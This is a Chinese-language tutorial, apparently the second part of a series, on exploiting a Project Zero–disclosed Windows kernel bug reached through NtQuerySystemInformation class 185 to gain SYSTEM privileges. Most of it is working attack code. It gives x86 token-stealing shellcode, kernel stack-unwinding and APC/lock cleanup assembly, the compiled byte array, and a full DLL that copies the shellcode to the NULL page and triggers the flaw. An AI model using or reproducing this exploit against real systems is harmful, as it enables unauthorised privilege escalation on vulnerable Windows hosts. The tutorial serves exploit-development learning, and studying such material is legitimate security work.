导语:在这个系列文章中,我们将为读者详细介绍如何利用Google Project Zero最近公布的一个Windows内核漏洞来实现特权提升。

在这个系列文章中,我们将为读者详细介绍如何利用Google Project Zero最近公布的一个Windows内核漏洞来实现特权提升。在上篇中,我们首先对本文中利用的内核漏洞进行了介绍,然后为读者介绍了如何搭建实验环境,并对进程注入的概念进行了说明,最后详细介绍了如何构建利用代码。

接下来,我们将开始着手编写shellcode——也就是我们的漏洞利用代码执行的shellcode。

打造用于内核的Shellcode

接下来,我们就要用到汇编程序了。对于这个漏洞利用代码来说,我们想要制作一个shellcode,设法以SYSTEM权限执行“cmd.exe”。不幸的是,当使用shellcode来完成类似这样事情的时候,并不像“bind tcp”那样简单。不过大家也不用太担心,关于这方面的知识,网络上已经有好几个非常好的教程了,例如@_samdb_编写的教程可以从这里找到。

对于本文来说,我们也会介绍创建shellcode的具体过程。为此,我们需要掌握一些内核的结构。(如果读者对这方面的内容不太熟悉的话,建议首先阅读我之前编写的一篇关于如何通过手动方式借助WinDBG将进程权限提升为SYSTEM的文章)。

与之前的文章类似,我们的shellcode需要查找与cmd.exe和System进程相对应的EPROCESS结构,然后将访问令牌从System复制到cmd.exe,将我们的权限提升到SYSTEM用户的级别。首先,我们需要找到cmd.exe进程的EPROCESS。为此,我们将从fs寄存器开始下手,在32位Windows内核,该寄存器指向nt!_KPCR结构。

KPCR是“Kernel Processor Control Region(内核处理器控制区)”的缩写,用来存放当前正在运行的处理器的状态信息,以及其他一些有用的字段,我们将通过它们来获取进程和线程的相关信息。

为了使用WinDBG获取fs寄存器的地址,我们可以使用下面的命令:

dg fs

上述命令将返回如下所示的结果:

dg_fs

在上面的例子中,我们发现nt!_KPCR结构的地址为80dd7000h。知道这个地址,我们就可以查看KPCR的内容了:

dt nt!_KPCR 80dd7000

在偏移120h(在_KPCR结构的末尾)处是nt!_KPRCB结构,我们可以通过以下方式进行查看:

dt nt!_KPRCB 80dd7000+0x120

KPRCB结构如下所示:

KPRCB

我们要找的结构位于偏移4h(或从KPCR开头处偏移124h)处,它是与当前正在执行的线程相对应的nt!_KTHREAD结构。我们可以转储这些信息:

dt nt!_KTHREAD 0x87507940

在偏移量为150H的地方,我们发现了一个指向Process的指针,它对应于正在寻找的EPROCESS结构:

process_ptr

现在,既然可以访问EPROCESS结构,自然就可以使用ActiveProcessLinks属性(实际上是一个指向LIST_ENTRY的指针,LIST_ENTRY是一个双向链表)来枚举当前正在运行的所有进程,以找出cmd.exe进程和System进程(这个进程后面会用到)。

为了找到“cmd.exe”,我们可以借助于在150H偏移处找到的EPROCESS.ImageFileName属性:

eprocess_filename

对于System进程,我们可以根据该进程的PID通常为“4”这一事实,在偏移量为b4h处的UniqueProcessId属性中进行寻找:

eprocess_pid

我们最终得到的shellcode如下所示:

  pushad
  mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB
  mov eax, [eax + 0x150]       ; Get 'Process' property from current thread
next_process:
  cmp dword [eax + 0x17c], 'cmd.'  ; Search for 'cmd.exe' process
  je found_cmd_process
  mov eax, [eax + 0xb8]            ; If not found, go to next process
  sub eax, 0xb8
  jmp next_process
found_cmd_process:
  mov ebx, eax                     ; Save our cmd.exe EPROCESS for later
find_system_process:
  cmp dword [eax + 0xb4], 0x00000004  ; Search for PID 4 (System process)
  je found_system_process
  mov eax, [eax + 0xb8]
  sub eax, 0xb8
  jmp find_system_process
found_system_process:
  mov ecx, [eax + 0xfc]            ; Take TOKEN from System process
  mov [ebx+0xfc], ecx              ; And copy it to the cmd.exe process
  popad

从内核返回

需要注意的是,在利用内核漏洞时,我们的漏洞利用代码返回后,必须确保系统一直处于正常状态,为什么?如果系统一旦崩溃,我们千辛万苦获取的SYSTEM权限又有何用呢?!

当需要破坏内核地址空间时,要想在保持操作系统正常运行的情况下进行某些操作的话,是非常困难的,这个漏洞利用代码也不例外。当我们试图直接通过ret或ret 0xc指令将执行权返回给内核的时候,将出现下列情况:

bugcheck

这时候,除了设法让内核恢复到安全状态以继续执行之外,几乎没有其他选择。

就这个漏洞的情况而言,我们需要了解为什么以及如何调用相关的函数。通过查看该漏洞的相关报告,我们发现这个问题注意涉及如下结构:

00000000 _WARBIRD_EXTENSION struc ; (sizeof=0x18)
00000000 elem_size       dd ?
00000004 count           dd ?
00000008 capacity        dd ?
0000000C dataptr         dd ?
00000010 realloc_delta   dd ?
00000014 cmp_func        dd ?
00000018 _WARBIRD_EXTENSION ends

当我们的shellcode被调用的时候,调用堆栈将如下所示:

call_stack

如果我们反汇编位于shellcode之前的最后一个函数WbFindLookupEntry函数,就可以找到调用shellcode的位置:

call_stack

在这里,调用dword ptr [ebx + 14h]实际上就是调用上述结构中的cmp_func属性,这意味着在进入我们的shellcode时,ebx寄存器指向_WARBIRD_EXTENSION结构。

vuln_function-1

如果我们用WinDBG检查这片内存,我们将看到以下内容:

wb_struct-1

这表明,虽然struct memory的初始值是NULL,但偏移量为0x4处的count属性被设置为1,从而导致内核试图多次调用shellcode。为了避免这种情况,我们需要将count属性设置为0。

接下来,我们需要从NtQuerySystemInformation调用中返回,并要求不能出现任何异常。在尝试清理_WARBIRD_EXTENSION结构的时候,有时候会成功,有时候会出现蓝屏,我发现,让内核恢复到正常状态的最快捷的方法是直接遍历每个堆栈帧,直到我们在ExpQuerySystemInformation中恢复执行为止。为此,我们需要检查执行的每个函数,直到执行权被传递给我们的shellcode,并将寄存器和内存值恢复到它们的原始值为止。

完成上述工作后,将得到如下所示的代码:

; ebx points to _WARBIRD_EXTENSION on entry to our shellcode
mov dword [ebx + 4], 0      ; Set 'count' to 0
add esp, 0xC                ; Remove parameters from stack
add esp, 4                  ; Remove return address from stack
; WbFindLookupEntry stack frame
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
add esp, 4                  ; Remove return address from stack
add esp, 0xC                ; 3 parameters passed
; WbFindWarbirdProcess frame
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
add esp, 0x4                ; Remove return address from stack
add esp, 0x4                ; 1 parameter passed
; WbGetWarbirdProcess frame
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
add esp, 0x4                ; Remove return address from stack
add esp, 0x4                ; 1 parameter passed
; WbDispatchOperation frame
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret                         ; Return execution to `ExpQuerySystemInformation`

如果我们将shellcode更新为上面的样子,并试图重新运行我们的漏洞利用代码,那么将会看到下列错误:

APC_error

这是在意料之中的,因为我们没有在内核中恢复APC的执行。在这个例子中,我们可以简单地通过更新当前线程来修正这个错误。

mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB
mov dword [eax + 0x13e], 0  ; Set 'SpecialAPCDisable' to 0, restoring APC's

当恢复APC后继续进行时,会遇到另一个异常:

Lock_error

同样,这是由于我们的方法没有对内核锁的释放进行相应的处理所导致的。为了能够正常退出这个系统调用,需要更新我们的shellcode,通过将我们的线程值清零来删除线程中的锁:

mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB
mov dword [eax + 0x1e8], 0   ; NULL out 'LockEntries'
mov dword [eax + 0x1e8+4], 0
mov dword [eax + 0x1e8+8], 0
mov dword [eax + 0x1e8+12], 0
mov dword [eax + 0x1e8+16], 0
mov dword [eax + 0x1e8+20], 0
mov dword [eax + 0x1e8+24], 0
mov dword [eax + 0x1e8+28], 0
mov dword [eax + 0x1e8+2c], 0

完成上述工作后,我们最终的shellcode如下所示:

BITS 32
    ; ebx points to _WARBIRD_EXTENSION on entry to our shellcode
    mov dword [ebx + 4], 0      ; Set _WARBIRD_EXTENSION 'count' to 0
    add esp, 0xC                ; Remove parameters from stack
    add esp, 4                  ; Remove return address from stack
    ; WbFindLookupEntry stack frame
    pop edi
    pop esi
    pop ebx
    mov esp, ebp
    pop ebp
    add esp, 4                  ; Remove return address from stack
    add esp, 0xC                ; 3 parameters passed
    ; WbFindWarbirdProcess frame
    pop esi
    pop ebx
    pop edi
    mov esp, ebp
    pop ebp
    add esp, 0x4                ; Remove return address from stack
    add esp, 0x4                ; 1 parameter passed    
    
    ; WbGetWarbirdProcess frame
    pop edi
    pop esi
    pop ebx
    mov esp, ebp
    pop ebp
    add esp, 0x4                ; Remove return address from stack
    add esp, 0x4                ; 1 parameter passed
    ; WbDispatchOperation frame
    pop edi
    pop edi
    pop esi
    pop ebx
    mov esp, ebp
    pop ebp
    ret                         ; Return execution to `ExpQuerySystemInformation`
    pushad
    mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB
    ; Re-Enable APC and remove Locks from thread
    mov dword [eax + 0x13e], 0   ; Set 'SpecialAPCDisable' to 0, restoring APC's
    mov dword [eax + 0x1e8], 0   ; Update 'LockEntries'
    mov dword [eax + 0x1e8+4], 0
    mov dword [eax + 0x1e8+8], 0
    mov dword [eax + 0x1e8+12], 0
    mov dword [eax + 0x1e8+16], 0
    mov dword [eax + 0x1e8+20], 0
    mov dword [eax + 0x1e8+24], 0
    mov dword [eax + 0x1e8+28], 0
    mov dword [eax + 0x1e8+2c], 0
    
    mov eax, [eax + 0x150]       ; Get 'Process' property from current thread
next_process:
    cmp dword [eax + 0x17c], 'cmd.'  ; Search for 'cmd.exe' process
    je found_cmd_process
    mov eax, [eax + 0xb8]            ; If not found, go to next process
    sub eax, 0xb8
    jmp next_process
found_cmd_process:
    mov ebx, eax                     ; Save our cmd.exe EPROCESS for later
find_system_process:
    cmp dword [eax + 0xb4], 0x00000004  ; Search for PID 4 (System process)
    je found_system_process
    mov eax, [eax + 0xb8]
    sub eax, 0xb8
    jmp find_system_process
found_system_process:
    mov ecx, [eax + 0xfc]            ; Take TOKEN from System process
    mov [ebx+0xfc], ecx              ; And copy it to the cmd.exe process
    popad
    ; Now we return to ExpQuerySystemInformation
    ret

最后的步骤

下面,我们需要做的工作就是编译shellcode并把它转换成一个供我们注入的DLL使用的C缓冲区。

为了编译shellcode,通常可以使用nasm。就本例来说,可以使用下列命令:

nasm shellcode.asm -o shellcode.bin -f bin

然后,我们可以使用Radare2提取一个合适的C缓冲区:

radare2 -b 32 -c 'pc' ./shellcode.bin

shellcode-1

我们最终的漏洞利用DLL的源代码如下所示:

// Shellcode to be executed by exploit
    const char shellcode[256] = {
    0xc7, 0x43, 0x04, 0x00, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x0c,
    0x00, 0x00, 0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f,
    0x5e, 0x5b, 0x89, 0xec, 0x5d, 0x81, 0xc4, 0x0c, 0x00, 0x00,
    0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5e, 0x5b, 0x5f,
    0x89, 0xec, 0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81,
    0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f, 0x5e, 0x5b, 0x89, 0xec,
    0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x04,
    0x00, 0x00, 0x00, 0x5f, 0x5f, 0x5e, 0x5b, 0x89, 0xec, 0x5d,
    0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0xc7, 0x80, 0x3e,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xe8,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xec,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf0,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf4,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf8,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xfc,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x50,
    0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
    0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
    0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
    0x81, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
    0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8,
    0x00, 0x00, 0x00, 0xeb, 0xe7, 0x8b, 0x88, 0xfc, 0x00, 0x00,
    0x00, 0x89, 0x8b, 0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff
    };
void exploit(void) {
    BYTE Buffer[8];
    DWORD BytesReturned;
    
    RtlZeroMemory(Buffer, sizeof(Buffer));
    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
    
    // Copy our shellcode to the NULL page
    RtlCopyMemory(NULL, shellcode, 256);
    
    RtlZeroMemory(Buffer, sizeof(Buffer));
    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                 )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        exploit();
        break;
    }
    return TRUE;
}

构造好漏洞利用代码之后,让我们看看它的运行情况:

https://youtu.be/QgsBnZsjbjc

现在,我们就可以通过利用Windows内核漏洞来实现提权了。希望本教程对读者的学习有所帮助,同时,相关项目可以从Github上面下载。

源链接

Hacking more

...